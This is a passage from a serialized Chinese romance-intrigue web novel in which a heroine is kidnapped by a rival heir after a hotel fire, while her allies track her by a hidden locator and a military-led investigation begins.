但现在事情偏离了轨道,他不得不打起十二万分精神了。 眼见周宴珩眼里情绪不定,姜花衫嘴角的笑意加深,“你要的东西不在我身上,你要找的人也不在云乡,现在可以好好谈了吗?” 她仰着头,十分得意地晃了晃被绑的双手。 周宴珩睨了她一眼,慢慢弯腰凑近她的耳边。 姜花衫脸色微变,刚侧过头,两人的目光近乎咫尺交汇。 周宴珩:“我说过,我要抓的人是你……” 忽然,姜花衫感觉颈侧传来一阵短暂而剧烈的酸麻,眼前猛然一黑,所有感官仿佛瞬间被切断。 周宴珩抬手,轻轻托住她垂下的侧脸,“所以,没得谈。” * 另一边,有‘安氏集团’做掩护,沈归灵不费吹灰之力抵达了南湾。 顺利入境,一切就好办了。为了节约时间,安佳妮安排了私人飞机直飞鲸港。 “鲸港那边我已经安排好了人,只是……目标是沈园,我也没太大的把握。少爷如果还有需要,请随时联系我。” 从踏入A国国土,沈归灵的心思就已经飞走了,淡淡应了一声便上了飞机。 正要关舱门,安佳妮主动上前,探出脑袋,笑容殷勤: “少爷,替我向姜小姐问好。” 当年,沈归灵在姜花衫的劝说下,帮助安佳妮驱逐了她狼心狗肺的父亲,并利用沈谦给他的权势,暗地里帮助安佳妮掌握了家族大权。 如今的安佳妮虽然未婚,但已经是家族人人敬畏的家主。南湾贵圈人人都在传,她背后有个了不起的金主,通天的本事,只为给她安佳妮开道。 对于这种有利的桃色谣言,安佳妮从不纠正,甚至也由着谣言越传越离谱,因为正好可以堵住家族催婚的嘴。 但在正主面前,她还是很拎得清的。 当年她不知天高地厚撩拨沈归灵,可没少吃苦头。沈归灵帮她的时候,明确提到过是姜花衫的意思。所以即便这些年她不曾再与姜花衫有过交集,但心里还是念着姜花衫的好。 沈归灵这才看了她一眼,眼里多了一丝温润。 “好。” …… 第962章 信仰崩塌 与此同时,青市。 苏妙放下手机,屏幕暗下去的瞬间,映出她凝重而焦急的脸。 姜花衫最后那句叮嘱还在耳边回响。 ——“看好周绮珊,无论听到什么消息,都别让她离开你的视线,等我联系!” 电话挂得匆忙,虽然姜花衫的声音听起来没有不妥,但那份紧绷感骗不了人。 云乡那边肯定出事了,而且是大麻烦 苏妙不敢耽搁,转头敲响了周绮珊的卧室门。 “阿珊?是我,妙妙。” 为了方便彼此照应,姜花衫给她们安排的是一间两居室的套房,周绮珊的房间就在隔壁。 苏妙等了一会儿,没听见回应,又加重了力道:“你睡了吗?我有点事想跟你说。” 依旧是一片寂静。 苏妙的心往下沉了沉。 不对劲。 按照周绮珊的警觉性,她不可能睡得这么沉,更不可能对敲门声毫无反应。 除非…… 苏妙不再犹豫,从口袋里掏出姜花衫提前交给她的备用房卡,“嘀”的一声轻响,门锁滑开。 苏妙推门而入。 房间没有开大灯,只亮着一盏昏暗的床头壁灯,光线勉强勾勒出室内简洁的轮廓。窗户敞开着,夜风灌入,吹得窗帘不断翻飞,发出扑啦啦的声响。 周绮珊背对着门口,一动不动地站在窗前。她穿着单薄的棉质睡衣,身影在昏暗中显得有些伶仃。 苏妙见人还在暗暗松了一口气,放轻脚步上前,试探着叫了一声,“阿珊?” 直到苏妙走到她身侧,周绮珊才仿佛被惊动,极其缓慢地转过头来。 壁灯昏黄的光线落在她脸上,苏妙瞬间倒吸了一口凉气。 眼前的周绮珊,面色苍白得没有一丝血色,嘴唇干裂,眼底布满了骇人的红血丝,眼神空洞而涣散,仿佛刚刚经历了一场巨大的精神冲击,只剩下一个空洞的躯壳。 她手里紧紧攥着什么东西,指节因为用力而泛着青白色。 “珊珊,你怎么了?”苏妙心头一紧,连忙伸手想去扶她,触手却是一片冰凉。 周绮珊的眼珠极其缓慢地转动了一下,焦距艰难地凝聚在苏妙脸上,嘴唇翕动了几下,才发出一点嘶哑破碎的气音:“妙妙……我该怎么办……” 苏妙从未见过这样的周绮珊,她什么都来不及多想,温柔而坚定一把抱住眼前破碎的灵魂。 “你别怕,不管发生什么事,我都会一直陪着你。” 周绮珊干裂的嘴唇又动了动,喉咙里发出嗬嗬的、像是被砂纸磨过的声音。 她试图说话,但情绪堵住了她的声带。 她闭上眼,深深吸了一口气,再睁开时,眼底的血色似乎更浓,但那份空洞的涣散稍微退去了一些,取而代之的是深不见底的痛苦和……近乎崩塌的茫然。 一个小时前,周绮珊收到了路迦的邮件。 当时她高兴地几乎要从床上蹦起来,可当她看清邮件内容时,所有的喜悦在瞬间被碾碎成了刺骨的冰渣狠狠灌入她的四肢百骸。 邮件里没有一句叮嘱,全是重若千钧的的铁证,这些证据统一枪口直指鲸港周家。 多么讽刺,她效忠的家族,可能是谋杀她战友、陷害她同袍的真正元凶。她捍卫的正义,可能被她的家族从内部蛀空,变成了铲除异己的工具。 信仰在崩塌。 世界在倾覆。 人生的意义被模糊,她找不到前行的方向了。 苏妙意识到事情不简单,一遍遍耐心引导,但这些声音虚无缥缈根本无法缝合碎裂的灵魂, 现在周绮珊如同站在战乱的废墟之中,脚下是她曾誓死捍卫荣耀,如今却浸透着同袍的鲜血。 她不是圣人,无法超脱。 * 次日清晨,云乡大火的消息在A国迅速炸开。 不是涟漪,是海啸。 起因是云乡酒店大火的失踪名单里,竟然出现了绝对不可能出现的三个字。 ——姜花衫。 姜花衫刚刚完成了一次传递星火的创举,又在公众平台表示了自己捍卫正义的立场,可转眼就消失在一座边陲小城的火灾里,这很难不让人联想到是某种阴谋在作祟。 很快,舆论迅速发酵,关于姜花衫的词条只要已出现,话题阅读量呈恐怖级数飙升,服务器几度瘫痪。 在汹涌民意的推波助澜之下,鲸港特情组联合313师北湾驻军成立专项调查小组,直接接管了云乡失火案。 “长官,大火造成了严重破坏,很多电子记录完全丢失,而且……现场有部分区域,存在疑似非火灾直接造成的结构性损坏和……人为清理痕迹。很专业。” 沈兰晞站在三十三层电梯前,深邃的眸底映着眼前焦黑的废墟,目光静得骇人。 “让我进去!你不知道我是谁吗?!” 傅绥尔正被两名穿着制服的调查组成员拦在通道口,她头发凌乱,眼睛红肿不管不顾地想往里闯,被拦住后,目光焦急地扫视,一眼就锁定了沈兰晞后情绪更加激动。 “兰晞哥!兰晞哥!” 沈兰晞回眸,“让她进来。” 阻拦的人稍一迟疑,傅绥尔立马挣脱桎梏,迅速冲到沈兰晞面前,“兰晞哥,怎么样了?有没有衫衫的消息?” 沈兰晞的目光落在她脸上,停留了两秒,摇了摇头。 就在这时,一阵更急促的脚步声从身后。 “长官,有突破了。”年轻调查员手里拿着一个平板电脑,脸色紧绷。“半小时前,一名热心市民刚刚主动报案,说他凌晨时分透过窗户,看到酒店侧面……有人影活动,不太对劲。” 傅绥尔猛地抬起头,像抓住救命稻草。 “我们紧急做了笔录,并根据他的描述,请特情组那边的肖像专家做了初步模拟画像。画像刚刚传过来。” 调查员将手中的平板电脑递向沈兰晞,“长官,请过目。” 这侧脸轮廓、身形…… “路……”傅绥尔差点脱口而出那个名字,又硬生生咬住舌尖,惊疑不定地看向沈兰晞。 沈兰晞抬眸,波澜不惊看着她。 傅绥尔生怕沈兰晞被带歪,一把抓住沈兰晞的衣袖,用力摇了摇头。 …… 第963章 晴天霹雳 “不可能是路迦,这些人胆大妄为还想把脏水往外泼。” 这是傅绥尔想说却不敢言明的话,但她不知道的是,沈兰晞远比她以为的知道的多得多。 从绣楼回去后,沈兰晞连夜调阅档案,确认路迦未死且现身云乡后,立刻意识到姜花衫涉入极深。他当机立断,立马赶往313师北湾驻军营。 沈兰晞深知调动军队的敏感与繁复,所以他没有走常规请求程序,而是利用沈家在北境军区的影响力与自身在特情系统的权限,直接会见了驻军高层。 他以“边境安全出现不明渗透风险”为由,结合手中部分情报,提出以“联合应急演练”的名义,让313师一部机动至云乡外围驻训。 这个方法既能规避硬性规定,又能形成实质压力与快速支援。 果不其然,凭借精准的风险分析与背后运作,方案在数小时内获得军方初步认可,只需要等待最后一道正式命令下达。 原本沈兰晞以为,这是他能为姜花衫争取到的最快、最有效的后盾。然而,总局调遣令即将落印的前夕,云乡酒店大火的消息传来,姜花衫失踪了。 所有周旋与铺垫,在对方毫不讲理的手段前戛然而止。 他还是慢了一步。 就像当年的‘路西法一号’事件一样。 沈兰晞自始至终阴晴不定。 傅绥尔这个时候也不敢触霉头,吞回要说的话后,转头看向一旁的调查员:“现场什么情况?” 调查员看了沈兰晞一眼,考虑到傅绥尔的身份,低声道:“有两名昏迷男性,目前正在医院进行抢救,其余并未发现伤亡。” 傅绥尔缓缓松了一口气,又小心翼翼看向沈兰晞:“兰晞哥,现在该怎么办?” 沈兰晞面无表情地伸手,指尖拂过被高温灼出的粗糙纹路,黑色的烟灰簌簌落下。 姜花衫故意留下线索就是想引他来云乡,她明明知道他会来,却还是没有等他。 半晌,他收回手,指尖无意识地捻了捻指腹的烟灰,沉声道: “即刻起,封锁酒店及周边相关区域,划分警戒级别。所有进出人员、车辆、物品,接受军方与特情组联合核查。现场发现的任何证据、线索,直接报送联合指挥部。” “从现在起,云乡酒店火灾案及所有关联事态,由军方接管。” 这才是她的目的。 只有313师接管云乡,才能最大程度还路迦公道。 * 沈园绣楼,天光微青。 窗扉一夜未曾合拢,沈归灵在床沿,背脊挺直如刀削,面朝房门方向。 窗外从浓黑到墨蓝,再到此刻泛起的鱼肚白,光线一丝丝爬进屋内,将他沉默的身影从轮廓勾勒得清晰。 他有一下没一下地划动着手机,「云乡酒店大火」、「姜花衫失踪」的标题不断地跳出屏幕。 一条又一条推送争先恐后地亮起屏幕,那些刺眼的字眼交织着冷光,反复灼烫着他的视线。 沈归灵的目光沉静地落在虚空某处,修长的大手骤然收紧,指节绷出青白的弧度。 就在又一波震动来袭时,屏幕顶端,一个极其不起眼的黑色图标,忽然悄无声息地闪烁了一下。 那是他很早之前创建的定位数据,这世界上只有一个人能激活。 沈归灵深黑的瞳孔骤然微亮,指尖一动,点开了定位系统。 地图中心,一个刺目的红色光点,正在某个坐标上稳定地闪烁着。 沈归灵忽然想起什么,猛地抬起头,急遽扫视着眼前的房间。 晨光更盛了些,将屋内每一样物品都照得纤毫毕现。最终,沈归灵的视线定格在了床头柜的小熊发圈上。 他这才发现发圈的位置像是被人刻意摆放的,发箍绑在台灯的立杆上,上面的小熊正向他“招手”。可要让小熊完全立起来,必须拆了灯座的底部才行。 沈归灵抬手摸向小熊尾巴,卡扣还在,但里面的微型定位器已经不见了。 他垂眸,冷沉的眸子映着手机定位的红光。 “北湾?” * 北湾,周家老宅。 “好,我知道了。”周国潮面不改色挂了电话,转身,“啪”的一声抬手甩了过去。 周宴珩的头被打得偏过一侧,左颊瞬间浮起鲜红的指痕,嘴角渗出一线血丝。 他没动,甚至连眼神都没晃一下,就保持着那个侧脸的姿势,舌尖慢慢顶了顶口腔内壁,尝到那点铁锈味。 周国潮胸口起伏,眼底怒意翻涌:“你知不知道你在做什么?” 周宴珩这才极其缓慢地转回头,看向眼前的周国潮:“知道。” “知道?”周国潮顿时感觉到了一种被冒犯的戏谑,怒不可遏。 “你还有脸说知道?云乡现在成了一锅沸油,沈兰晞带着兵进驻,所有人的眼睛都钉在那里!路迦手里的东西没拿到,你这个时候还绑架沈家人,阿珩!你是想毁了周家吗?” “爷爷您怎么会这么想?”周宴珩随意擦过嘴角,平静地迎上周国潮的怒火,“还是爷爷觉得,只要沈家牵扯进来,周家就一定会输?那可就糟了,爷爷您已经从心里败给了沈庄。恕我直言,就您这样,再过一百年周家也赢不了沈家。” “……”周国潮眼神微眯,细细打量了周宴珩许久。 “你这话是什么意思?” 周宴珩微微牵了下嘴角:“爷爷,沈家不是我得罪的。我绑不绑姜花衫,五十年前的债您和祖父都已经欠下了,这笔账沈家迟早会找周家清算。若斗不赢沈家,祸根也不在我。” 周国潮在宽大的紫檀木椅上缓缓坐下,手指无意识地摩挲着光滑的扶手,眼中的暴怒沉淀为审视的冷光:“那也不是你现在添把火的理由!” 周宴珩摇摇头,他向来有主见,冷静道:“不破不立。云乡早就是烂摊子了,倒不如趁势做个了断,否则周家把柄越来越多永远都收不回来。” 周国潮脸上的怒容早已消失,取而代之的是一种更为复杂的凝视和评估。 半晌,这位主宰周家半生的老家主松了口:“你胆子太大了。你就没有想过,一步踏错,周家就是万劫不复?” 周宴珩眼神没有丝毫动摇:“爷爷,时代变了。守成,才是最大的风险。” 周国潮睨了他一眼,神色不变:“我暂且相信你说的。既然我们和沈家已经撕破了脸,那你手里那个丫头也早些解决了。她知道的太多了,杀了她也算给其他人一个交代。” 周宴珩神色微动,没有应口。 周国潮微愣,似有些意外:“怎么?你有意见?” 周宴珩不动声色:“这件事不急,当务之急是另外一件事。” 周国潮还是觉得有些怪异,但又说不出哪里不对。 周宴珩想了想,眼里多了几分意味深长:“爷爷,您就没有想过,既然路迦可以起死回生,那么其他人会不会也有这个可能?” 周国潮眉头微蹙:“其他人?” 周宴珩点头:“路迦已经交代了,陈明生一直找不到的证据,已经被他转移给了另一名战友。那位战友与他同生共死,经历过同一场爆炸。” “哐当——” 周国潮手里茶盏落地,沸水沾湿了名贵的毛毯。 周宴珩笑了笑:“爷爷不是说阿珊最顾念家族了吗?现在证据在她手里,还请您示下,我们是等她回来送信,还是出去抓人?” 周国潮:“……” …… PS:忘记小熊伏笔的请移步416章 第964章 碰见硬茬了 周宴珩原本没打算这么早就透露周绮珊的消息,但老爷子现在紧抓着姜花衫不放也不行,他只能给他找点事做。 见周国潮久久没有反应,周宴珩微微颔首,转身出了书房。 他刚入廊庑,阴影里悄无声息地闪出一人,垂手恭立递上丝帕。 周宴珩脚步未停,接过丝帕擦了擦唇角血迹,语调漫不经心:“查出来是谁走漏的风声了?” 助理看了他一眼,立马跟上:“是陈明生。他趁着我们调度人手时私下联系了老爷子,原本姜晚意已经被控制了,但老爷子出面,底下的人也不敢忤逆,我们只能把人交出去了。” 周宴珩冷哼了一声:“不知死活的东西。” 助理犹豫片刻,又道:“少爷,刚刚周管家问我要姜小姐的下落。” 周宴珩脚步一顿,偏头打量助理:“你给他了?” “没有!”助理连忙摇头,“没有少爷的吩咐我哪敢?但周管家是老爷子的人,您公然跟老爷子作对,我担心……” 周宴珩睨了助理一眼,慢慢收回视线:“放心,老爷子现在没空管这种闲事。” 说着,周宴珩忽然想到什么,回头看向身后助理:“你叫什么?” 助理受宠若惊:“少爷,我叫周助。” 周宴珩点头:“她人呢?” 周助抓了抓头:“醒了,都已经骂了您两个小时了。” 周宴珩:“……” * “周宴珩,你个乌龟王八蛋!暗箭伤人算什么本事?!有本事放了我,让我回去找人!看我不把你周家连……连根拔起!” 房间宽敞明亮,地上的羊绒毛毯织着繁复低调的缠枝纹,家具皆是上好的紫檀木,线条流畅,打磨得温润生光。窗棂镶嵌的玻璃是极其精细的冰裂纹,透光不透影,屋外一株晚开的玉兰,花影婆娑映在窗上,颇有几分雅趣。 姜花衫双手双脚被缚,侧身躺在铺满羊绒地毯的贵妃榻上,有一句没一句地叫骂着。 她已经骂了两个小时,嗓子都快冒烟了,人还没骂过来,不觉没了兴致。 “咔擦——” 忽然,房间传来一声清脆的开锁声。 姜花衫无精打采的眼神瞬间迸发出光彩,噌地一下坐起。 周宴珩双手抱胸:“要知道你这么不安分,就应该把你的嘴也堵上。” 姜花衫皱了皱眉,从鼻子里哼出一声冷笑,把头扭向里面,对着墙壁,用后脑勺对着他。 才过了一秒,她忽然又坐起身,两眼发光对着周宴珩上下打量,脸上的笑藏都藏不住:“你被打了?我就说,你会被你爷爷打死的!” 周宴珩咬了咬牙,反手关上厚重的木门,“咔哒”一声轻响,锁簧扣紧。 他踱步到贵妃榻前,右手却不知何时多了一柄长约两尺的乌木戒尺,目光落在姜花衫那张因为幸灾乐祸而瞬间亮起来的脸上,嘴角扬起一抹意味不明的笑。 “开心够了?那就接着审讯吧。” 他用戒尺平滑的顶端挑起了姜花衫的下巴,迫使她仰起头,直视他。这个动作并不粗暴,甚至带着点慢条斯理的意味,但其中蕴含的掌控力不容置疑。 姜花衫的笑容僵在脸上,下巴被那冰冷的硬物抵着,不舒服地动了动。 “别动。”周宴珩顺手对着姜花衫被缚的掌心抽了过去。 “啪”的一声! “啊!!!” 一阵魔音穿耳。 周宴珩愣了愣,还没反应过来,就看见姜花衫抱着手缩进了贵妃榻。 “啊!我的手要断了!断了!” “……” 刚刚下手什么力度,周宴珩自己是知道的。眼看姜花衫嚷得撕心裂肺,他顿时被气笑了。 她到底是哪来的这么厚的底气? 周宴珩看了看手里的戒尺,闭了闭眼,对着姜花衫的肩膀不轻不重地抽了一下:“坐好,别想蒙混过关。” 姜花衫明显感觉到这次的力度比刚才重了一分,眼珠转了一圈,立马坐了起来:“真以为我怕你?有本事你问。” “……”周宴珩感觉自己是真的碰到硬茬了,他对付自家老爷子时都没这么无力过。 沉默片刻,他拉过旁边的圈椅,与姜花衫对视而坐:“你的身手是谁教的?” 姜花衫表情微怔。 她原以为周宴珩会逼问她周绮珊的下落,再不济也会想办法从她口里套出沈家的计划,但没想到他的关注点竟然这么……出人意料。 周宴珩将她眼神微妙的变化看在眼里,不紧不慢道:“你的格斗技巧,或者说,你对危险的反应模式和几个关键的反制动作,跟我学过的一套改良体系很像。那套东西,是我根据早年一位隐退的暗桩教官留下的残缺笔记,结合现代实战需求,自己琢磨着改出来的。” 他身体微微前倾,试图从姜花衫细微的表情变化中捕捉信息:“说,你又是怎么学会的?” …… 第965章 给她换柠檬蛋糕 这的确是个让人措手不及的好问题。 姜花衫没有立刻回答,微微偏过头,让自己的下巴稍稍脱离戒尺顶端。 两人的目光在空气中无声交锋,窗外玉兰花影极轻微地摇曳,空气里似乎有某种情绪在一触即发的寂静中酝酿不止。 “你改良的?”姜花衫抬了抬下巴,理直气壮,“你说是你改良的就是你改良了?你怎么跟隔壁H国一样,看见什么好就说是自己的。人家脸皮厚好歹还知道申请个专利,你呢?就动动嘴皮子?!” 周宴珩要问别的,她还怕被拆穿,但要问这个,她可不怕,反正谁都别想抓到她的小辫子。 “……” 周宴珩眼看着姜花衫的眸底亮起了挑衅的光,不觉皱了皱眉头:“你不怕我?” “不怕啊?为什么要怕?”姜花衫甚至歪了歪头,被缚的双手在身前交叠着,姿态出奇地放松,仿佛不是身陷囹圄,而是在进行一场无关紧要的辩论。 周宴珩定定地看了她两秒,眸色深了几分。 他慢慢倾身,拉近了两人之间的距离。 圈椅与贵妃榻原本就相隔不远,他这一靠近,冷冽气息的压迫感瞬间笼罩下来。他不再依靠那把戒尺作为中介,而是用目光和存在感本身,构筑起无形的牢笼。 “为什么不怕?”周宴珩的眼神带着一种近乎审视的冷静,“你是不是忘了,你是被我绑来的?你难道不担心自己的处境吗?不担心……” 他细细观摩着姜花衫眼神的变化,用手里的戒尺挑起她被绑的双手:“我对你做点什么吗?” “哦~这个呀?”姜花衫恍然大悟,随即如拨浪鼓似的摇头:“我不怕。” 姜花衫没有说谎,她是真不怕。 说实话,在知道自己可能会被绑架时,她心里还是有过一层担忧的——她长得这么漂亮,万一绑匪图谋不轨可怎么办?但当她知道绑匪是周宴珩后,这个顾虑就没有了。 周宴珩这个人,眼睛长在头顶,自负得没边。 他喜欢勾勾手指逗弄别人,更喜欢看一具有思想的躯体在他面前失去灵魂,他享受的是调教和驯服的过程。所以在他的字典里,从来没有“勉强”两个字,尤其是对女人。 上一世,周宴珩唯一一次失态是闯入她的订婚宴,在此之前,他一直都是高高在上的狩猎姿态。 所以,不管周宴珩表现得如何压迫暧昧,姜花衫都从未担心过。 周宴珩的眼神微暗,不动声色地弹了弹指尖。他试图从姜花衫眼里找出任何一丝伪装的痕迹,但没有。 片刻后,他缓缓直起了腰身,收回了戒尺:“你好像很了解我?” 姜花衫本能地想摆摆手自谦一下,忽然发现没手用,只能得意地摇了摇头:“学过一点心理知识,你们这种有病的我多少都了解一点。” “呵~”周宴珩舌尖抵着唇侧的伤口,几乎是从喉咙深处溢出一声低笑。 忽然,他眼神骤然一沉,毫无预兆地抬手,一把攥住缚在姜花衫手腕间的丝绸绑带,拉向自己。 姜花衫的上半身因这力道被迫向前微倾。与此同时,周宴珩俯身压近,两人的脸瞬间贴近到一个呼吸可闻的危险距离。 周宴珩强势低头,薄唇在即将接触的一寸蓦然停住。 他没有真的吻下去,而是掀起眼帘,目光如精准的手术刀划过姜花衫骤然凝滞的呼吸。 这么近的距离,姜花衫完全来不及掩饰身体的紧绷。 周宴珩抬手扳正她微微后缩的肩膀,声音里带着一丝愉悦:“看来,你也不是完全不怕?” 姜花衫知道这是周宴珩玩弄人的恶趣味,她也知道,越是这种时候,她越不能被激怒。和周宴珩交锋,不能惯着他。 念此,她抿了抿嘴角,笑着歪头靠向周宴珩耳侧:“你说对了,我的确怕。我怕传染,我怕……你~有~病~” 周宴珩嘴角的弧度瞬间僵住,呆愣了一秒才想起求证。见姜花衫笑得一脸恶意,哪还会不明白这个‘有病’是什么意思? “……呵!” 他顺风顺水的人生,在这一刻体会到了滑铁卢般的暴击。 周宴珩一把将人甩回榻上,脸色冷沉,转头就走。 走到门口,听见身后的人还在笑,周宴珩只觉眼前一黑又一黑,转身折回去,一把掐住姜花衫的脖子,咬牙切齿:“你还真是有种!” 姜花衫破罐子破摔,伸着脖子给他掐:“我是女生我没种,你是男的也没种,咱们两个半斤八两。” “……”周宴珩被气得额角抽搐,目光阴冷地看着她。 偏偏姜花衫不服输,瞪大了眼睛恶狠狠地瞪着他。 “操!” 半晌后,周宴珩直接爆粗,再次甩下手里的“祸坨子”,摔门而出。 “咳咳……”姜花衫眼看着人被气走,瞬间卸了气瘫在榻上。 “小垃圾。” “砰!!!” 周宴珩甩门的声音震得连廊下悬挂的宫灯都随之轻轻晃了晃。 周助一直守在门外,眼看着周宴珩出来后脸色阴沉得能滴出水来,不觉咽了咽嗓子。 “少爷。” “看着她。”周宴珩从牙缝里挤出几个字,“一只苍蝇也不准进去。” “是。”周助立马应道。 周宴珩正要转身,见助理旁边推着个糕点车,脚步微顿。 “哦!”周助见状,连忙解释,“刚刚姜小姐说想吃草莓蛋糕,我……” 见周宴珩目光不善,男人顿了顿,连忙改口:“我……马上处理掉。” 周宴珩转头,咬牙切齿:“给她换柠檬蛋糕。” 周助:“……” …… 第966章 反派也是反骨仔 周宴珩听到“柠檬蛋糕”四个字从自己嘴里蹦出来时也怔了一瞬,随即脸色更加难看。 此刻,他已经意识到自己像个智障了。 这段时间他都不想再看见那个祸害了。 周宴珩冷着脸,步子迈得又快又沉,连自己都没有察觉到,面对影响他计划的人,他第一次作出了不同的选择。 “少爷。”不一会儿,身后就传来急促却刻意放轻的脚步声,周助小跑着追了上来,“老宅那边又来电话了,说是老爷子传话,请您立刻回去一趟。” 周宴珩脚步不停,眉头却几不可察地蹙起:“什么事?” 他语气里透着一丝不耐,明明早上才用周绮珊的事暂时绊住了老爷子,怎么这么快又找上门? “电话里没具体说,只说是……有客人到了,老爷子不方便,请您接待。” “客人?”周宴珩终于停下脚步,“什么人?” 周助摇头:“电话里没说,不过,老爷子亲自发话,应该是位贵客。” 周宴珩眸光微冷,转头看向二楼方向。廊下昏暗的光线,叫人看不清他眼底的神色。 周助见状,以为自家少爷担心抓回来的金丝雀,立马道:“少爷放心,姜小姐状态挺好的,刚刚还生龙活虎冲我们发了好大一通脾气。” 周宴珩斜睨了周助一眼。 周助十分上道,连忙解释:“少爷别误会,姜小姐说她不吃柠檬。” 周宴珩冷笑:“爱吃不吃。备车!” * 从私宅到老宅,车程也不过半个小时。 周宴珩刚踏上回廊的台阶,就听见厅堂内传来周国潮中气十足的爽朗笑声。 这个节骨眼上,还能让老爷子做戏做到这份上,看来,来的人不一般。 他低垂着眼睑,收敛神色,步履平稳地迈入主厅。 厅内,周国潮正侧着身子,脸上的笑意几乎可以称得上慈祥。他身旁的少女,穿着浅杏色羊绒连衣裙,直发齐刘海,笑容甜美又带着点少女的娇憨。 周宴珩看见沈眠枝的瞬间,眸光暗了几分。 沈眠枝正微微仰着头和周国潮说话,似乎是察觉到了门口的动静,她转过头来。 四目相对。 少女脸上的笑容瞬间绽开,如同骤然点亮的星辰。 她甚至没等周国潮发话,便带着毫不掩饰的惊喜和亲昵迎上前,极其自然地挽住了周宴珩的胳膊。 “阿珩哥,你终于来了。” 相比起沈眠枝的热情,周宴珩的反应更像另一个极端。他淡淡抽出手,目光带着几分逼人的审视:“你怎么会在这里?” 沈眠枝被这突如其来的冷漠打击到了,有些委屈:“你一声不吭就走了,我问了陈会长才知道你来了北湾。看你走得急,担心你才跟过来看看的。” “陈明生?”周宴珩眸光微动,不动声色地看向厅前的周国潮。 陈明生是周家的人,没有周家授意,他绝对不敢告诉沈眠枝周宴珩的下落。换言之,沈眠枝会在这里,是老爷子的意思。 沈眠枝眼看情况不妙,转头跑到周国潮身边,委屈巴巴道:“周爷爷,阿珩哥不喜欢我,我还是走吧。” 周国潮安抚性地拍了拍她的肩膀,语气和缓:“枝枝丫头,你别往心里去,这小子就是被我惯坏了,脾气倔,不会说话。” 说着,他略带深意地看向周宴珩,故作恼怒:“阿珩!枝枝也是一番好意,你这是什么态度?还不过来道歉?” 要是平时,周宴珩心情好时还会配合周国潮演场戏,但他刚刚才在“祸坨子”那里受了一肚子气,现在就是天王老子来了也别想让他低头。 眼看着周宴珩杵在那儿一动不动,周国潮愣了愣:“阿珩!” 沈眠枝也不想真的挑拨两人的关系,赶紧拉住周国潮:“周爷爷,不用了。阿珩哥的脾气我知道,不用道歉。您这么逼他,反倒显得我小家子气了,以后他只怕要更讨厌我了。” “你看看人家枝枝,多懂事!”周国潮面带谴责,指着周宴珩,“不管怎么样,来者是客,何况是枝枝。既然来了北湾,就让她好好玩几天,散散心。最近家里也没什么事,正好,你陪陪枝枝。” 周宴珩皱了皱眉,显然是不愿意。 周国潮微微眯眼:“怎么了?” 周宴珩扯了扯嘴角:“行,听您的。” * 第967章 挑拨离间 周宴珩微微颔首,不给周国潮反应的时间,转身便走。 书房的门被他随手带上,发出一声不轻不重的闷响,那声响在过分安静的书房里甚至荡出了些许回音。 周国潮紧盯着书房的门,脸上的震怒一点点凝固。 什么是报应? 眼下这就是报应。 他一直想为家族培养出一名能延续百年荣光的继承人,因为他的刻意纵容,才养成了周宴珩这无法无天的性子。 原本他以为有了这柄利刃就能为家族事业开疆拓土,却从没想过,自己竟然有天会老到握不住这柄剑。 周国潮的心绪逐渐被一种难以捉摸的情绪取代。 “叩叩叩——” 就在这时,门口传来极有规律的叩门声。三下,不急不缓,带着教养良好的谨慎和试探。 周国潮迅速收敛眼里的情绪,刚抬眸,房门从外面被推开,沈眠枝小心翼翼地探进脑袋。 “周爷爷,是我。” 周国潮眸光微闪,端出一副长者的姿态:“是枝枝啊,进来吧。这么晚了,怎么还没休息?” 沈眠枝飞快地扫了周国潮一眼,一副乖巧模样进了屋。 “周爷爷,我刚刚看见阿珩哥出去时脸色不太好,是不是我突然来北湾,给你们添麻烦了?” 她脸上有些不安,咬了咬唇,十分委屈:“其实我也知道阿珩哥不太喜欢我,一直都是我自己一厢情愿……所以我想了想,还是先回鲸港算了。” 周国潮是守旧的人,比起桀骜不驯、句句带刺的祸害,眼前这个知情识趣、温婉可人的女孩,更能让他感到掌控的余裕,也更符合他对未来孙媳妇的期望。 他千方百计把人引来北湾,怎么可能就这么轻易让沈眠枝回去? “枝枝啊,”周国潮叹了口气,语气似乎真的带上了一丝疲惫与无奈,“但你千万别这么想,阿珩那孩子被我惯坏了,他本意并非如此。” “那孩子以后担子不轻,能陪在他身边的断不会是普通人。早前我就同你父亲说过,放眼整个鲸港,周爷爷最中意的就是你。” “真的吗?”沈眠枝眼睛微亮,莫名地脸红了。 忽然,她又想到什么,眼里的光暗了下去:“可是……阿珩哥他……” “枝枝。”周国潮知道她要说什么,不紧不慢地打断: “阿珩怎么想不重要,重要的是周家怎么想。原本这话不该跟你一个孩子说,但周爷爷见你一片赤子之心,实属难得,也不忍心阿珩错过你这么好的女孩儿。所以爷爷想问问你,你愿意做周家的媳妇吗?” 沈眠枝心下一冷。 不管周国潮如何粉饰太平,豪门大族之间说这种话已然是失礼,这老头分明是想拿捏她。 但眼下,她已入局中,在找到破局之法前,也只能虚与委蛇。 沈眠枝脸色通红,羞得不敢抬头:“我……我当然是愿意的。” 周国潮眼里露出满意的笑容,摆正脸色:“那就别再提要走的事,在北湾好好玩。我这趟回去,就和你爷爷商量你们的婚事。只不过,沈周两家龃龉颇深,我担心你爷爷未必能放下成见,反倒委屈了你们两个孩子。” 这就开始挑拨离间了?! 沈眠枝十分配合,一脸急色:“怎么会?!周爷爷您放心,爷爷虽然固执,但很疼我的。只要我态度坚决,爷爷会成全我和阿珩哥的。到时候两家联姻,有我在中间调和,爷爷自然不会再揪着过去不放。” 周国潮点头:“那就好。枝枝,话既然说到这份上,周爷爷也给你吃颗定心丸。周家认定的孙媳妇,就只能是你。阿珩要是敢欺负你,周爷爷给你撑腰。” 沈眠枝眼睛微微一亮,随即又蒙上一层水雾,感动得一塌糊涂:“嗯!周爷爷放心,我一定不会让您失望的。” * 周宴珩从老宅出来时,夜色已深。庭院里的石灯散发着昏黄的光,将他颀长的身影拉得有些孤峭。 周助早已将车开到廊下等候,见他出来,立刻拉开了后座车门。 周宴珩弯腰上车。车内光线昏暗,只有仪表盘发出幽幽蓝光,映着他没什么表情的侧脸。 “少爷,”周助从副驾回过头,低声汇报,“老宅那边已经在安排车马和随行人员,看样子,老爷子今晚就会动身回鲸港。不过奇怪的是,周管家好像提前离开了。” 周宴珩并不关心这些,神情淡淡:“找人盯紧沈眠枝。” 他把老爷子调离北湾,老爷子就把沈眠枝留在北湾,天底下哪有这么巧的事? 沈眠枝的到来,绝不仅仅是为了所谓的“联合”或“培养感情”,老爷子必然另有打算。 “是,少爷。”周助立刻应下,犹豫一瞬,又问,“那……少爷,回榆园吗?” 周宴珩在北湾不止一处住所,最常去的便是如今囚禁姜花衫的私宅,也就是榆园。 